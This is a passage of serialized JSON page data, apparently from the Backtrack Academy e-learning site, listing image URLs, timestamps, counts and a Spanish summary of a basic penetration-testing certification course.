Banales","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBam9HIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--fcb46747ff2b0df3099425d0012f4da090b1db67\u002FIMG_2344.PNG","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaThOIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--ecc54bfb8fc4ff08be1e0805467c791c93fa803d\u002F2_-Introducci%C3%B3n-a-la-seguridad-inform%C3%A1tica-2.png",5085,10,39044,true,false,"2025-02-15T00:32:03-03:00",{"slug":59,"name":60,"summary":74,"level":75,"courses_count":76,"total_duration_seconds":77,"is_free":70,"image_url":78,"icon_url":79,"wallpaper_url":80,"updated_at":81},"Usted al finalizar la certificación Penetration Testing habrá obtenido el conocimiento para poder reconocer y analizar vulnerabilidades, explotar las debilidades en los sistemas y ayudar a protegerse de las amenazas,…","Básico",5,77388,"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaUlQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--2514d038e8d6aff5caf896423c25af3de56fcd09\u002FStudent-Penetration-Testing-02.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaWdQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--a04208079ecbb8df87bdb8e7d6f8f822702d1d03\u002FPenetration-Testing-Student.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaTRQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--5e4754f3e0213a49757fe74e0c16177f96cb2692\u002FStudent-Penetration-Testing-02.jpg","2021-05-17T15:38:02-04:00"]